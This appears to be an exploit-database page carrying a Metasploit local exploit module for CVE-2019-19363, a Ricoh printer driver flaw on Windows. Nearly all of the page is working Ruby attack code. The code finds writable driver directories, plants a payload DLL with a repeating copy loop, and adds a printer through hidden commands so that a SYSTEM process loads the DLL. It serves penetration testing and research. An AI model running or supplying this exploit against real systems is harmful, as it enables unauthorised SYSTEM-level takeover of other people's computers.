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"Ricoh Driver - Privilege Escalation (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

windows

Release date

Exploit published date

2020-02-10

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ricoh Driver Privilege Escalation',
      'Description'    => %q(
        Various Ricoh printer drivers allow escalation of
        privileges on Windows systems.

        For vulnerable drivers, a low-privileged user can
        read/write files within the `RICOH_DRV` directory
        and its subdirectories.

        `PrintIsolationHost.exe`, a Windows process running
        as NT AUTHORITY\SYSTEM, loads driver-specific DLLs
        during the installation of a printer. A user can
        elevate to SYSTEM by writing a malicious DLL to
        the vulnerable driver directory and adding a new
        printer with a vulnerable driver.

        This module leverages the `prnmngr.vbs` script
        to add and delete printers. Multiple runs of this
        module may be required given successful exploitation
        is time-sensitive.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => [
                            'Alexander Pudwill',  # discovery & PoC
                            'Pentagrid AG',       # PoC
                            'Shelby Pace'         # msf module
                          ],
      'References'     =>
        [
          [ 'CVE', '2019-19363'],
          [ 'URL', 'https://www.pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/']
        ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Platform'       => 'win',
      'Payload'        =>
      {
      },
      'SessionTypes'   => [ 'meterpreter' ],
      'Targets'        =>
        [[
            'Windows', { 'Arch'  => [ ARCH_X86, ARCH_X64 ] }
        ]],
      'Notes'          =>
      {
        'SideEffects' =>  [ ARTIFACTS_ON_DISK ],
        'Reliability' =>  [ UNRELIABLE_SESSION ],
        'Stability'   =>  [ SERVICE_RESOURCE_LOSS ]
      },
      'DisclosureDate' => "Jan 22 2020",
      'DefaultTarget'  => 0
    ))

    self.needs_cleanup = true

    register_advanced_options([
      OptBool.new('ForceExploit', [ false, 'Override check result', false ])
    ])
  end

  def check
    dir_name = "C:\\ProgramData\\RICOH_DRV"

    return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)
    driver_names = dir(dir_name)

    return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length

    vulnerable = false
    driver_names.each do |driver_name|
      full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz"
      next unless directory?(full_path)
      @driver_path = full_path

      res = cmd_exec("icacls \"#{@driver_path}\"")
      next unless res.include?('Everyone:')
      next unless res.match(/\(F\)/)

      vulnerable = true
      break
    end

    return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable

    vprint_status("Vulnerable driver directory: #{@driver_path}")
    CheckCode::Appears('Ricoh driver directory has full permissions')
  end

  def add_printer(driver_name)
    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)

    dll_data = generate_payload_dll
    dll_path = "#{@driver_path}\\headerfooter.dll"

    temp_path = expand_path('%TEMP%\\headerfooter.dll')
    vprint_status("Writing dll to #{temp_path}")

    bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")
    cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""
    bat_file = <<~HEREDOC
      :repeat
      #{cp_cmd} && goto :repeat
    HEREDOC

    write_file(bat_file_path, bat_file)
    write_file(temp_path, dll_data)
    register_files_for_cleanup(bat_file_path, temp_path)

    script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""
    bat_cmd = "cmd.exe /c \"#{bat_file_path}\""
    print_status("Adding printer #{@printer_name}...")
    client.sys.process.execute(script_cmd, nil, { 'Hidden' => true })
    vprint_status("Executing script...")
    cmd_exec(bat_cmd)
  rescue Rex::Post::Meterpreter::RequestError => e
    e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
  end

  def exploit
    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?

    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'

    if sysinfo['Architecture'] != payload.arch.first
      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
    end

    @driver_path = ''
    unless check == CheckCode::Appears || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override')
    end

    @printer_name = Rex::Text.rand_text_alpha(5..9)
    @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"
    drvr_name = @driver_path.split('\\')
    drvr_name_idx = drvr_name.index('RICOH_DRV') + 1
    drvr_name = drvr_name[drvr_name_idx]

    add_printer(drvr_name)
  end

  def cleanup
    print_status("Deleting printer #{@printer_name}")
    Rex.sleep(3)
    delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""
    client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48036/?format=json')

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